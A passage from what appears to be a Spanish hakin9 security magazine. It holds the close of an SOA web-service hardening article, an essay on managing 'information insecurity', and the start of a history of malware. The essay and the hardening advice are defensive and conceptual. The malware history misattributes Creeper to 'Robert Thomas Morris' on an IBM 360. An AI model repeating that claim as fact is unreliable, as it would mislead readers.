Si es posible, recompilar el servidor de aplicaciones con las opciones mínimas necesarias para el funcionamiento del mismo, esto hará que disminuya el número de riesgos potenciales, ya que muchos posibles ataques dependen de posibles bugs o carencias del servidor de aplicaciones. También resulta de vital importancia establecer los permisos adecuados al servidor de aplicaciones desde el sistema operativo y utilizar al máximo todas las facilidades, en cuánto a seguridad, que nos de la plataforma que estemos usando (por ejemplo los servidores de aplicaciones basados en Java pueden hacer uso de su sistema de seguridad). Ocultar toda la información posible de la arquitectura, servidor de aplicaciones, etc. que se puede mandar en las cabeceras. A pesar de que ofuscar de por si no sea una buena estrategia, cuántas menos facilidades se le den a los atacantes, menos posibilidades de sufrir un ataque. En este sentido también es conveniente personalizar al máximo el servidor de aplicaciones, desde cosas tan básicas y evidentes como los posibles usuarios y claves por defecto a directorios, etc. Esto nos hace algo inmunes a que esquemas generales de ataque funcionen sobre nuestro servicio web. No permitir la autogeneración del WSDL y/o no tener ningún WSDL de nuestro servicio web. Existen muchos medios (mail, por ejemplo) de ofrecer el WSDL describiendo las funcionalidades de nuestro servicio web a usuarios que realmente queramos que puedan acceder a las funcionalidades y de esta forma evitamos dar información valiosa a aquellos que quieran atacar nuestro sistema. Utilizar logs y monitores de carga para poder auditar y trazar los ataques. Esto resulta muy importante ya no solo para poder

descubrir quién ha tirado nuestro sistema, si no también para prevenir los ataques exitosos ya que analizando los logs podemos detectar intentos de ataques, patrones de comportamiento y extraer conocimiento acerca de cómo protegernos ante estos ataques. Para esto, resulta muy interesante conocer técnicas de gestión de datos aplicada a logs.

Conclusión

SOA ofrece un marco de desarrollo bastante interesante al permitir gran interoperabilidad. De todas formas SOA es un arquitectura relativamente reciente y el aspecto de seguridad ha estado un tanto descuidado hasta hace poco tiempo. En este artículo se ha introducido la arquitectura SOA y se han visto los puntos débiles de la misma, estableciendo una guía de puntos relacionados con la seguridad a la hora de desarrollar nuestro propio servicio web. A la hora de hacer seguro nuestro servicio web nos tenemos que centrar ante todo en ofrecer la menor cantidad posible de información susceptible a ser utilizada en un ataque (definición de la funcionalidad, información de la arquitectura y servidor de aplicaciones, etc.), en asegurarnos que nuestro sistema es robusto ante ataques por XML, impedir la inyección de consultas SQL y, como es lógico, asegurarnos la robustez de la lógica de negocio del servicio web a desarrollar. l

Sobre los Autores

Los tres autores son miembros fundadores y trabajadores de AINetSolutions, empresa dedicada a consultoría en el mundo de las redes, seguridad y gestión de datos. Así mismo, tanto José Carlos Cortizo como Diego Expósito son profesores asociados en la Universidad Europea de Madrid y Diego Peces es consultor de seguridad en Axpe Consulting.

34

www.hakin9.org

Administrando la Inseguridad Informática
Defensa
Jeimy J. Cano

Grado de dificultad

Este documento busca repensar la seguridad de la información desde el concepto de la inseguridad, para que, tratando de aprender de la mente del atacante, se descubra cómo diseñar y construir sistemas menos inseguros, como una estrategia para destruir la falsa sensación de seguridad y animar una postura vigilante y proactiva en la gestión de la seguridad de la información.

L

a única constante en el mundo de la seguridad de la información, es la inseguridad. En este sentido, las organizaciones luchan día a día para tratar de eliminar o mitigar las posibles vulnerabilidades que se presentan en sus infraestructuras tecnológicas o en sus procedimientos que apoyan el negocio. Revisando los recientes artículos e informes de vulnerabilidades (WILLIAMS, M. 2006, MIMOSO, M. y SAVAGE, M. 2006, BEAVER, K. 2006, ROITER, N. 2006), se hace evidente que la inseguridad informática es un elemento propio de la dinámica de las organizaciones en cada uno de sus procesos. Mientras las empresas buscan alcanzar un nivel superior de seguridad, más se encuentran con la problemática de la inseguridad, pues los procesos en sí mismos, al ser redes de comunicaciones y acuerdos entre personas, tecnologías y normas, establecen relaciones y distinciones que generalmente no son distinguibles, haciendo de la labor de aseguramiento de la información más que una función tecnológica, acciones humanas y procesos administrativos y estratégicos. Durante el 2006, los robos de información y la exposición de datos (http://attrition.org/ dataloss/), fueron las manifestaciones más

sobresalientes de la inseguridad. Si miramos con detalle estas dos consideraciones, no responden necesariamente a un problema de seguridad tecnológico, sino procedimental y de concientización. Los intrusos saben y comprenden que detrás de las infraestructuras de seguridad de la información está ese elemento que las organizaciones hoy por hoy se resisten a entrenar, a formar, a hacer parte formal de su modelo de seguridad, los usuarios. (BEAVER, K. 2006). Esta realidad, se manifiesta en importantes incrementos de robo de identidad y fraudes bancarios a través de Internet que requieren una revisión profunda de nuestra com-

En este artículo aprenderás...
• • Cómo diseñar y construir sistemas menos inseguros, Cómo animar un apostura vigilante y proactiva en la gestión de la seguridad informática.

Lo que deberías saber...
• Concepto de la inversión y las vulnerabilidades en la seguridad informática.

36

www.hakin9.org

Inseguridad Informática

prensión de la seguridad, más allá de las fallas y las vulnerabilidades. En este sentido, repensar el discurso de administración de la seguridad exige de los profesionales y directivos de seguridad aprender a comprender el dual que combaten: la inseguridad informática. Comprender el lado oscuro implica reconocer que tenemos que desaprender, que nuestras actuales estrategias se limitan a mantener y utilizar más tecnologías, y no a comprender en profundidad las relaciones complejas que exhibe la organización y cómo allí se hace presente o se materializa la inseguridad. (THE HONEYNET PROJECT 2004, TAYLOR, R., CAETI, T., KALL LOPER, D., FRITSCH, E. y LIEDERBACH, J. 2006). En consecuencia, las organizaciones deben reconocer que parte del secreto para incrementar los niveles de seguridad, está en la administración de la inseguridad informática. Expresado de otra forma, que tan seguros pueden llegar a ser, reconociendo siempre que la inseguridad de la información estará presente para desafiarlas una y otra vez. Las implicaciones de esta propuesta exigen desarrollar un hábito que busque confrontar la inseguridad de la información y no solamente su control o mitigación. En razón a lo anterior, desarrollar un hábito requiere según Covey (2005 pág. 51) tres elementos: el conocimiento, la habilidad y la actitud. • El conocimiento, como la capacidad de comprender en detalle los aspectos conceptuales relacionados con el área de trabajo donde se ejerce.

La habilidad como la capacidad de hacer, desarrollar y actuar en consecuencia con ese conocimiento. La actitud, como la disposición del individuo frente a los retos que propone el área de conocimiento y su manera de enfrentar y motivar el desarrollo de habilidades complementarias para ir más allá de lo que su entorno le propone.

En ese contexto, desarrollar el hábito de la Administración de la Inseguridad Informática – ADINSI – implica hacer de ésta una pasión, una disciplina individual que permita a las organizaciones mantener una posición proactiva frente a posibles e inesperados eventos, para los cuales puede no estar preparadas, pero conscientes sobre cómo aprender de ellos. Basado en lo anterior, se presenta este documento que examina los conceptos actuales de la seguridad de la información, algunas consideraciones de inversión en temas de seguridad, los cuales serán insumo para proponer un modelo base para la administración de la inseguridad y así ver, bajo la mirada de los intrusos, tendencias emergentes y estrategias consecuentes con este modelo.

Concepto tradicional de la seguridad de la información

La seguridad de la información desde los años 60 se ha desarrollado como una distinción formal, basada generalmente en teorías matemáticas, las cuales terminaron materializadas en implementaciones de software, hardware y productos intermedios. Como bien comentaba una persona de la in-

Tabla 1. Características de la Seguridad y de la Inseguridad (Tomado de: CANO, J. 2006) Seguridad Subjetiva No tiene cota superior Intangible Es una propiedad emergente Se require modelarla Inseguridad Objetiva Es posible establecerle cota superior Tangible Es una propiedad inherente No se require modelarla

dustria, en teoría la seguridad es perfecta, en la práctica no, esta expresión nos sugiere que si bien, las especificaciones matemáticas utilizadas para darle claridad a las relaciones que se establecen entre usuarios y objetos son verificables en un escenario ideal, la realidad de las organizaciones y el desarrollo de software desbordan dichas expectativas. La seguridad ha estado basada todo el tiempo en la comprensión de tres elementos fundamentales y cómo alcanzarlos en cada una de las implementaciones de modelos de seguridad: confidencialidad, integridad y disponibilidad – CID. Consecuente con lo anterior, cualquier intento para vulnerar alguno de éstos elementos, se considerará un intento o ataque al activo fundamental que es la información. Siguiendo la revisión anterior, se tiene que los ataques se presentan dado que existen escenarios y prácticas que no aseguran el cumplimiento del CID para la información a proteger, característica que en el mundo de la auditoría se denomina riesgo. Un riesgo, de manera general, es todo aquello que no me permite el logro de los objetivos; en particular, en temas de seguridad de la información, todo aquello que no me permite cumplir con CID. Generalmente al adelantar un proceso de administración de la seguridad de la información, se establece lo que se denomina un conjunto de procesos a revisar y la información asociada con el mismo. Este proceso se basa por lo general en un programa de protección de activos de la organización (KOVACICH, G. y HALIBOZEK, E. 2006) que considera las políticas, los procedimientos, los procesos, los proyectos, los planes y las responsabilidades de cada uno de los actores de la organización frente a los activos. A través de este programa se operacionalizan las medidas requeridas para mitigar los riesgos a los cuales esta expuesta la información. La valoración de qué tan efectivo ha sido el proceso de administración de la seguridad generalmente se

www.hakin9.org

37

Defensa

mide según el número de incidentes que se han presentado en la dinámica de la organización y su negocio. Para ello, ejercicios como las pruebas de vulnerabilidades, las evaluaciones de seguridad y las auditorías de seguridad (CANO 1997) son referentes útiles para establecer el grado en que las vulnerabilidades se hacen presentes tanto en la infraestructura como en los procesos de negocio. Si revisamos las prácticas actuales de las organizaciones alrededor de una administración de la seguridad de la información, identificamos una fuerte tendencia al uso de tecnologías y utilización de estándares o buenas prácticas internacionales (KUPER, P. 2005), como una estrategia para avanzar en su lucha contra la inseguridad, pero pocos elementos que procuren entender esta última. En consecuencia con lo anterior, el concepto de seguridad, como el proceso formal y riguroso para mantener un sistema de gestión orientado a la protección de la información, sustentado en las estrategias y dinámica de negocio, entra en crisis al saber que la inseguridad presente dentro del sistema atenta contra su propio objetivo. La pregunta que surge es: ¿qué hacer frente a la inseguridad o riesgos inherentes a la realidad de las organizaciones? La
MAYOR INVERSIÓN Perimiter

respuesta a este interrogante será desarrollada posteriormente.

Algunas consideraciones sobre la inversión y las vulnerabilidades en seguridad informática

Las organizaciones que reconocen en la información un activo fundamental para desarrollar negocios y sobrevivir en un mundo global, por lo general establecen presupuestos que consideran inversiones (generalmente de un dígito) en los temas de aseguramiento o protección de dicho activo. Dichas inversiones fueron revisadas por un estudio realizado por la firma Stanley Morgan durante el 2005 (KUPER, P. 2005), cuyos resultados se detallan a continuación. La firma Stanley Morgan encontró que las mayores inversiones en seguridad se efectúan en temas de seguridad perimetral, es decir, cajas de protección de seguridad anti-spam, anti-virus, anti-spyware, las cuales generalmente viene preconfiguradas e instaladas, haciendo mucho más fácil su uso y puesta en producción. Dichas cajas generalmente poseen una interfase de administración que permite a los responsables de seguridad mirar la efectividad del control de las amenazas para las cuales han sido adquiridas.

ANTI-BOX AntiSPAM/AntiVIRUS/AntiSPYWARE/ ¿ AntiHACKING ?

Network

Estrategia AAA Autenticación/Autorización/Auditoría /Monitoreo

Applications Mejores prácticas Aseguramiento/Pruebas de Vulnerabilidades Data Clasficación de la Información/Estándares Usuarios/Technologías/Procedimientos MENOR INVERSIÓN

Figura. 1 Análisis de la inversión en Seguridad Informática. [Adaptado de: KUPER, P. 2005]

En un segundo lugar se encuentran las inversiones en tecnologías de autenticación, autorización, auditoría y monitoreo, las cuales de manera estratégica soportan y registran los eventos y el acceso a la información dentro de la infraestructura de tecnologías de información de la organización. En tercer lugar, se identifica las inversiones en el tema de aseguramiento de aplicaciones, fortalecimiento de sistemas operacionales, valoración de la seguridad, las cuales establecen buenas prácticas que permiten afianzar la distinción de gestión de la seguridad de la información Finalmente, las inversiones sobre revisión y análisis de los datos que están residentes en la infraestructura de computación de la empresa, la clasificación de la información y las relaciones entre aplicaciones, procedimientos de operación y control de datos, uso de estándares internacionales, entre otras. Al revisar estos resultados, es extraño ver que la menor inversión se concentra en la esencia misma de la seguridad informática, los datos, la información, y que la mayor se orienta a la adquisición de tecnologías para controlar en el exterior la aparición de amenazas contra el activo información. Consecuente con este análisis, se adelantó una revisión paralela, siguiendo la misma estrategia del estudio de Stanley Morgan, para ver cómo evolucionan las vulnerabilidades, los resultados obtenidos establecen reflexiones que presentan en los siguientes párrafos. Las mayores vulnerabilidades se presentan a nivel de los datos, de la información, generalmente asociadas con la falta de cultura de seguridad, la inadecuada disposición de medios de información, inadecuadas prácticas de seguridad asociadas con vulnerabilidades donde el factor humano y el incumplimiento de procedimientos se hacen presentes. Esta realidad se evidencia en todas las organizaciones en mayor o menor grado, según los esfuerzos de entrenamiento, información, capacitación y formación del personal de las áreas de negocio.

38

www.hakin9.org

Inseguridad Informática

En segundo lugar tenemos las vulnerabilidades propias a las aplicaciones, las cuales frecuentemente están enraizadas en problemas con las herramientas y prácticas de programación, lo cual exige comprender que una aplicación está hecha tanto para cumplir con la especificación con la cual fue diseñada como para fallar ante un evento no esperado. En tercer lugar, tenemos las fallas a nivel de comunicaciones. Los protocolos utilizados en las transmisiones de información tienen vulnerabilidades inherentes, las cuales con el tiempo se han venido detectando y corrigiendo, cuando es posible, o limitando la aparición de las mismas con tecnologías de seguridad que bloquean tráficos que puedan ser catalogados como sospechosos. Finalmente, tenemos las vulnerabilidades propias de los proveedores y sus productos, los cuales constantemente están trabajando para producir los parches y actualizaciones requeridas para mitigar el riesgo que pueda comprometer la seguridad de la organización frente a las amenazas que cubre dicho software o hardware. Como podemos observar al comparar los dos resultados, el de inversión y el de vulnerabilidades, se invierte donde existen menos vulnerabilidades. Por tanto, la seguridad, aunque reconocemos que es un proceso y no un producto, está siendo administrada en función de los recursos tecnológicos y las posibilidades que estos ofrecen. La pregunta es: ¿qué hacer para remediar esta situación?

MENORES VULNERABILIDADES Perimiter FALLAS DE LOS PROVEEDORES Paraches/Actualizaciones

Network

FALLAS A NIVEL DE PROTOCOLOS Confidencialidad/Integridad/Disponibilidad

Applications

APLICACIONES INSEGURAS Prácticas de progranación

Data

MALWARE/CULTURA DE SEGURIDAD Virus/ Robos de portátiles/Inadecuada disposición de medios de almacenamiento MAYORES VULNERABILIDADES

Figura 2. Análisis de la evolución de las vulnerabilidades mación es una disciplina que, sustentada en la formalidad original de los años 60’s, se ha fortalecido como un mundo tecnológico y normativo, donde cualquier anormalidad que se presente es una falla o vulnerabilidad que debe ser controlada o mitigada. Esta manera de razonar, ha permitido avances importantes en las tecnologías de protección, que de manera sistemática y asidua ha logrado importantes desarrollos y propuestas para enfrentar el lado oscuro de la fuerza, la inseguridad. Si analizamos estos últimos 40 años de evolución de la seguridad informática, podemos ver que las investigaciones se han concentrado en revisar las limitaciones de los productos y teorías alrededor de la seguridad, es decir, hemos estado estudiando la inseguridad informática como factor base para los nuevos desarrollos (HUTCHINSON, B. y WARREN, M. 2001 Cap.4). Si esto es así, no podemos hablar de seguridad de la información, sin reconocer su dual, la inseguridad (CANO 2004). En consecuencia, estudiar la inseguridad como estrategia para comprender la seguridad sugiere contextualizar en un escenario real la incertidumbre inherente del sistema o realidad a modelar, para revisar entre otros aspectos (SCHNEIER 2003, pag. 51): • • • • ¿Cómo funciona el sistema? ¿Cómo no funciona el sistema? ¿Cómo reacciona ante una falla o situación inesperada? ¿Cómo hacerlo fallar?

Repensando la seguridad de la información

Basado en lo revisado hasta el momento, la seguridad de la infor-

Agradecimientos

El autor agradece al Dr. Jorge Ramió Aguirre, a la Maestra Gabriela María Saucedo Meza y al Ingeniero Andrés Ricardo Almanza Junco por su tiempo y valiosos comentarios que permitieron afinar y ajustar las ideas expuestas en este artículo.

De acuerdo con una reciente investigación (CANO 2006) y considerando los elementos anteriormente presentados (Figura 1 y 2), se establecen cinco características que identifican tanto a la seguridad como a la inseguridad, las cuales serán analizadas y detalladas a continuación. La seguridad es una realidad subjetiva, es decir propia del sujeto. Cada una de las personas tiene una manera de comprender y entender la seguridad. Es tan válida la definición de un ciudadano común, como la de un especialista en temas de seguridad, pues cada uno de ellos comprende la realidad de la seguridad según su exposición a la misma. Mientras que la inseguridad es objetiva, es decir, propia al objeto, una realidad perceptible, observable y verificable en el objeto. En este sentido, la inseguridad valida la esencia misma del análisis de riesgos, pues sólo a través de hechos cumplidos, verificables y comprobables podemos medir el nivel de exposición que tenemos y cómo podemos advertir mejores medidas de control para mitigarlo, atomizarlo, minimizarlo o transferirlo.

www.hakin9.org

39

Defensa

La seguridad no tiene cota superior, en otras palabras, siempre es posible encontrar una medida que sea más efectiva y/o eficiente que la anterior. Esto es fruto normal de la evolución de las medidas de protección, que entendiendo ¿cómo no funciona el sistema? es posible plantear estrategias que mejoren lo actualmente disponible. Si la inseguridad no tuviese cota superior como la seguridad, los seguros no existirían ni se podrían pagar. Es tal nuestra necesidad de mantener un nivel de protección, que debemos tratar de cuantificar el nivel de inseguridad que podemos administrar, siguiendo paradójicamente un nivel base de prácticas de seguridad y la dinámica de los procesos de negocio. En este sentido, podemos establecer un límite superior de exposición o riesgo que queremos asegurar, con las condiciones y precauciones que el asegurador establezca como mínimas para poder validar y pagar los daños como fruto de la materialización del riesgo, más allá de nuestro debido cuidado y diligencia para mantenerlo en los niveles establecidos. La seguridad es intangible, no está en los mecanismos de seguridad, no está en los procedimientos, no está en las personas o en los cargos. La seguridad, complementaría al tema de la subjetividad previamente analizado, es la manifestación de que estamos ante un bien cuyo manejo no es evidente ni certero gracias a su volatilidad, fruto de la percepción de terceros. Por ejemplo, si nos detenemos a observar la variabilidad de los mercados financieros ante incertidumbres geopolíticas, nos percataremos de cómo se destruye la sensación de seguridad de los inversionistas ocasionando efectos devastadores en los movimientos financieros. En consecuencia y complementario con lo anterior, la inseguridad es tangible, es posible advertir el robo, la estafa, el accidente, la catástrofe, es una propiedad que es evidenciable y verificable, esa que se puede valorar con hechos y cifras, soportando un análisis real de los daños y efectos que ésta ha tenido.

Al ser la seguridad un intangible, necesariamente responde a una propiedad emergente de un sistema. Una propiedad emergente, es aquella que tienen los sistemas, fruto de la relación entre sus elementos y no particular a un objeto que lo conforma, en otras palabras, la seguridad es fruto de la relación existente entre la tecnología, los procesos y los individuos, como un todo coherente y alineado que comprende que no es posible alcanzar mayores niveles de seguridad sin un entendimiento o comprensión de las interrelaciones, muchas veces invisibles, que la seguridad sugiere cuando de protección de activos se trata. De otra parte, la inseguridad es una propiedad inherente a los objetos, una realidad que deber ser evidenciada y explorada para ser comprendida, lo cual nos lleva necesariamente a la aparición de la administración de riesgos. Cuando entendemos que en el mundo donde nos movemos estamos expuestos a ellos, hacemos evidente que la inseguridad está presente en nuestro vivir y por tanto, es preciso advertir una serie de acciones que nos permitan mitigarlos. Es darle respuesta a la pregunta ¿Qué hacer si el sistema falla? Cuando se habla de modelar o diseñar algo, buscamos que ese

algo tenga las características que perseguimos. Si queremos que los activos gocen de seguridad, nos enfocamos en primer lugar a comprender los riesgos a los cuales está expuesto, para desarrollar las estrategias de seguridad requeridas y así lograr un nivel de exposición menor de dichos activos. Por otro lado, la inseguridad no requiere de modelos o diseños específicos o detallados, ella sabe que todos los objetos la contienen y sus manifestaciones se pueden manifestar en diferentes grados o impactos. En este sentido la inseguridad es una propiedad inherente a los objetos que advierte la manera de cómo establecer los mecanismos mínimos para limitar la materialización de la misma en un escenario con unos actores y variables. Basado en esta exploración de los conceptos de seguridad e inseguridad es posible sugerir que es arriesgado afirmar que podría administrarse la seguridad cuando la inseguridad propia de los objetos nos muestra elementos reales y tangibles que ofrecen características de gestión que pueden llegar a ser analizados y cuantificados de tal forma, que se planteen métricas de inseguridad que basadas en buenas prácticas de seguridad y control, puedan alcanzar niveles mínimos permitidos

En la Red:

• •

BEAVER, K. (2006) Don't Spring a Leak. Information Security Magazine. Enero. Disponible en: http://informationsecurity.techtarget.com/magItem/0,291266,sid42_ gci1154838,00.html, CANO, J. (1997) Auditorías de Seguridad, Evaluaciones de Seguridad y Pruebas de penetración: tres paradigmas en la seguridad informática. Disponible en: http:// www.derechotecnologico.com/estrado/estrado003.html, CANO, J. (2004) Inseguridad Informática. Un concepto dual en seguridad informática. http://www.virusprot.com/art47.html, WILLIAMS, M. (2006) Security threat changing, says Symantec CEO. Disponible en: http://www.networkworld.com/news/2006/110306-security-threat-changingsays-symantec.html, MIMOSO, M. y SAVAGE, M. (2006) Today's Attackers Can Find the Needle. Information Security Magazine. Junio. Disponible en: http://informationsecurity.techtar get.com/magItem/0,291266,sid42_gci1191313,00.html, ROITER, N. (2006) That Sinking Feeling. Information Security Magazine. Octubre. Disponible en: http://informationsecurity.techtarget.com/magItem/0,291266,sid42_ gci1219723,00.html, SAVAGE, M. (2006) Protect What's Precious. Information Security Magazine. Diciembre. Disponible en: http://informationsecurity.techtarget.com/magItem/ 0,291266,sid42_gci1232273,00.html.

40

www.hakin9.org

Inseguridad Informática

y así mantener asegurados los bienes o activos que se tengan bajo observación y custodia. Si la reflexión anterior es correcta se requiere repensar la administración de la seguridad, por una de inseguridad donde, haciendo evidente cada una de las características de esta última, podamos desaprender las prácticas actuales de administración del riesgo focalizadas en objetos, para reconocer en las relaciones que generan las expectativas de la gerencia (COHEN, F. 2005), los procesos de negocio y la infraestructura de computación, una fuente complementaria para el entendimiento de las vulnerabilidades en los sistemas.

Hacia un modelo de Administración de Inseguridad Informática

Los modelos actuales de administración de seguridad, generalmente buscan descubrir y corregir las fallas, pero no generan estrategias formales para entender la inseguridad; se concentran en establecer las correcciones y los controles requeridos para mejorar la efectividad y eficiencia

de la gestión del modelo de seguridad (SCHOU, C. y SHOEMAKER, D. 2007). Si bien este razonamiento es útil por la manera sistemática de aprender del sistema y sus fallas, presenta limitaciones para desaprender de sus prácticas aprendidas, cuando se enfrenta a situaciones inesperadas o no contempladas en el modelo. Para lograr materializar las ideas presentadas previamente y darle una posible respuesta a la pregunta planteada: ¿qué hacer frente a la inseguridad o riesgos inherentes a la realidad de las organizaciones?, se propone un modelo de administración de inseguridad informática basado en dos ideas principales: descubrir la inseguridad y entender la inseguridad. El descubrir la inseguridad es utilizar el enfoque tradicional (sistemático) de administración de riesgos que se viene utilizando, donde los ejercicios de valoración de seguridad requieren un conocimiento especializado, fundado generalmente en herramientas y estrategias prácticas para identificar vulnerabilidades, orientado a resultados prácticos y con-

Librería
• • • • • • • • • • • • CANO, J. (2006) Information Insecurity: A dual concept of information security. Proceeding of 2nd Internacional Conference on E-Global Security. Londres, UK. Abril. COHEN, F. (2005) Security Governance: Business Operations, security governance, risk management and enterprise security architecture. ASP Press. COVEY, S. (2005) El octavo hábito. De la efectividad a la grandeza. Editorial Paidos. HUTCHINSON, B. y WARREN, M. (2001) Information warfare. Corporate attack and defense in a digital world. Butterworth Heinemann. KIELY, L y BENZEL, T (2006) Systemic security management. IEEE Security & Privacy. Noviembre/Diciembre. KOVACICH, G. y HALIBOZEK, E. (2006) Security metrics management. How to manage the cost of an assets protection program. Butterworth Heinemann. KUPER, P. (2005) The state of security. IEEE Security & Privacy. Septiembre/ Octubre SCHNEIER, B. (2003) Beyond Fear. Thinking Sensibly about security in an uncertain world. Copernicus Books. SCHOU, C. y SHOEMAKER, D. (2007) Information Assurance for the enterprise. A roadmap to information security. McGraw Hill. SCHWANINGER, M. (2006) Intelligent organizations. Powerful models for systemic management. Springer Verlag. TAYLOR, R., CAETI, T., KALL LOPER, D., FRITSCH, E. y LIEDERBACH, J. (2006) Digital crime and digital terrorism. Pearson Prentice Hall. THE HONEYNET PROJECT (2004) Know your enemy. Learning about security threats. Addison Wesley.

cretos en cada uno de los elementos de evaluación y que exige personal especializado en el conocimiento de los objetos evaluados. Como resultado de este ejercicio tenemos la evidencia de los riesgos y controles requeridos para mitigar la presencia de la inseguridad. (KOVACICH, G. y HALIBOZEK, E. 2006) Entender la inseguridad significa comprender las relaciones de los elementos que son objeto de evaluación. Esto implica revisar de manera sistémica e inteligente (SCHWANINGER, M. 2006, cap. 1 y 2) los resultados de la evaluación considerando, como mínimo, los aspectos de la tecnología, los individuos y los procesos, no para analizar lo que ocurre, sino para comprender porqué ocurre y efectuar un diagnóstico de la situación. En pocas palabras en términos sistémicos, administrar la variedad y complejidad que exhibe el sistema. Cuando se aplican las consideraciones sistemáticas y sistémicas al mismo tiempo, se comprenden de manera complementaria los ejercicios tradicionales de seguridad y se posibilita un diagnóstico real de una situación anormal. Este diagnóstico puede llevarnos a desaprender lo conocido y a establecer nuevas distinciones en cualquiera de los niveles de análisis (estratégico, táctico y operacional), generando conocimiento que alimente el desarrollo de mejores estrategias de negocio, la aplicación de estándares y buenas prácticas, así como una asertiva ejecución los procedimientos de operación. El modelo presentado (Figura 3) pretende, que la organización de manera dinámica, comprenda que cada nivel afecta a su nivel superior, esto es, lo que se evidencie en el análisis y diagnóstico del nivel operacional afecta al nivel táctico y así sucesivamente, evitando la fragmentación de la visión de seguridad y promoviendo una postura proactiva y global de la organización, que reconoce en la seguridad la propiedad emergente fruto del reconocimiento y entendimiento de los riesgos inherentes a cada uno de los objetos que la conforman.

www.hakin9.org

41

Defensa

Nivel Estratégico

Análisis Diagnóstico
Des c ubr iend o la

Expectativas Corporativas

Objectivos de Negocio

inse

gur

idad

Arquitectura de Seguridad

Cultura de Seguridad

Estándares y Buenas prácticas

Ent end ien

Infraestructura de Seguridad
do l a inse

Prácticas de Seguridad Informática

Procedimientos de Operación

Nivel Operacional

gur idad

Configuración y Adecuación

Figura 3. Modelo de Administración de la Inseguridad Informática Si esto es así, la organización destruirá estructuralmente la falsa sensación de seguridad y la reemplazará por una estrategia de aprendizaje permanente sobre los incidentes que se presenten, como la norma misma de la gestión de éstos. Esto es, tomará ventaja de lo que aprende de la inseguridad de la información, para construir mejores propuestas de protección, basado en aquello que ven los intrusos y las ventajas que ofrecen las tecnologías. de manera estructural el porqué de ésta. Por tanto, se hace necesario complementar el modelo de riesgos y controles actual, con uno basado en las técnicas de hacking, que más allá de estar concentrado en los activos a proteger y sus vulnerabilidades, reconoce las relaciones de los diferentes componentes del sistema para responder las preguntas planteadas anteriormente (sección repensando la seguridad de la información). El modelo de Administración de la Inseguridad Informática (Figura 3) presentado vincula los dos paradigmas, el de riesgos y controles y el del hacking, como una manera efectiva de procurar una administración de la protección de la información, cuya dinámica de aplicación debe llevar a una distinción organizacional sobre la gestión de la inseguridad de la información que se denomina en la teoría information assurance (SCHOU, C. y SHOEMAKER, D. 2007) o aseguramiento de la información. Finalmente, el modelo de ADINSI propuesto (Figura 3) es una manera alterna para comprender que existen tensiones entre las personas, los procesos y la tecnología (KIELY, L y BENZEL, T 2006) que deben ser objeto de revisión permanente y así evaluar el impacto de las mismas en temas como las expectativas de la alta gerencia, la arquitectura de seguridad informática y las prácticas de seguridad de las organizaciones. l

Conclusión

La realidad del creciente número de vulnerabilidades reportadas, incidentes ocurridos y fallas identificadas nos invita a reflexionar sobre la forma de cómo hemos venido afrontando los riesgos que éstas generan y los impactos de las mismas. En este sentido, el paradigma actual de la seguridad de la información ha entrado en crisis, por lo que se requiere estudiar en profundidad la mente de los intrusos y sus reflexiones para comprender mejor lo que ocurre ante una falla. Por tanto, no es suficiente descubrir la falla puntal y analizar cómo se materializó, sino que se requiere una revisión relacional de lo que ocurrió para entender

Sobre el Autor

Jeimy J. Cano, Ph.D, CFE. Miembro investigador del Grupo de Estudios en Comercio Electrónico, Telecomunicaciones e Informática (GECTI). Facultad de Derecho. Universidad de los Andes. Colombia. Miembro Investigador de ALFA-REDI (Red Latinoamericana de Especialistas en Derecho Informático). Ingeniero de Sistemas y Computación, Universidad de los Andes. Magíster en Ingeniería de Sistemas y Computación, Universidad de los Andes. Ph.D in Business Administration, Newport University. Profesional certificado en Computer Forensic Analysis (CFA) del World Institute for Security Enhacement, USA. Profesional certificado como Certified Fraud Examiner (CFE) por la Association of Certified Fraud Examiners. Contacto: jjcano@yahoo.com.

42

www.hakin9.org

Programas malignos
Defensa
Carlos Javier Fornés Cabrera

Grado de dificultad

Todo ordenador o sistema informático está expuesto a una serie de amenazas de tipo software que, por mucho que intentemos evitarlas, siempre van a estar ahí. Dichas amenazas son programas diseñados con el único propósito de causar daños en los sistemas donde se ejecutan, como por ejemplo borrar el disco duro o estropear el sistema operativo eliminando determinados archivos.

N

o hay ningún sistema seguro salvo quizás aquel que esté apagado y desenchufado de la red eléctrica. El desarrollo de los códigos malignos ha venido evolucionando de simples intentos de demostración de conocimiento informático, por parte de programadores individuales; a verdaderos negocios, con jugosas ganancias llevados a cabo por mafias con objetivos precisos. Durante los últimos diez años, se vieron cambiar notablemente los tipos y la velocidad de propagación de los códigos malignos: desde los disquetes flexibles que se contagiaban mediante la inserción manual del disco de una computadora a otra, hasta técnicas más sofisticadas de códigos que crean réplicas fácilmente en las redes y el mundo a través de Internet.

fue escrito para las máquinas Apple II, que al infectarse mostraban el siguiente mensaje en pantalla por cada cincuenta veces que se encendiese la computadora:
Elk Cloner: The program with a personality It will get on all your disks It will infiltrate your chips Yes it's Cloner! It will stick to you like glue

En este artículo aprenderás...
• • • Qué es un Virus, Gusano y Caballo de Troya, descripción y ejemplos de algunos conocidos, Métodos y técnicas, de reproducción e infección de los principales PM, Incidencia en el mundo actual.

El origen de los códigos maliciosos

Lo que deberías saber...
• • •

Según plantean algunos autores el primer código malicioso fue un virus creado en 1982, conocido por Elk Cloner, y su autoría corresponde a Rich Skrenta, quien en ese entonces era un muchacho de sólo 14 años de edad. El virus

Breve referencia sobre programas malignos y sus técnicas, formato PE, tener una pequeña idea de sobre binarios, Conocer las vulnerabilidades de los sistemas operativo en este caso Windows.

44

www.hakin9.org

Programas malignos

It will modify RAM too Send in the Cloner!

Al tratarse de un período en que Internet era un sistema limitado a los círculos académicos, la propagación de Elk Cloner se producía mediante disquetes. Sin embargo en la conocida enciclopedia libre Wikipedia se plantea que el primer virus que atacó a una máquina IBM Serie 360 (y reconocido como tal), fue llamado Creeper, creado en 1972 por Robert Thomas Morris. Este programa emitía periódicamente en la pantalla el mensaje: I'm a creeper, catch me if you can! (Soy una enredadera, agárrenme si pueden). Para eliminar este problema se creó el primer programa antivirus denominado Reaper (Segadora). Sea como fuere, la denominación virus informático fue introducida en 1983 por el investigador Fred Cohen, quien usó tal concepto para referirse a sus experimentos de códigos autorreproducibles. Sin embargo, la producción masiva de tales códigos -y la competencia por crear los virus más destructivos, molestos o ingeniosos- surgió después del lanzamiento del libro Neuromancer de William Gibson, que sirvió de fuente de inspiración para muchos escritores de virus. El primer virus que llamó la atención mediática a nivel mundial fue Jerusalén, que después de propagarse de forma silenciosa, liberaba su carga destructiva cada viernes 13, eliminando archivos en las máquinas infectadas. Con ello se había dado inicio a la eterna lucha entre los escritores de códigos malignos y su 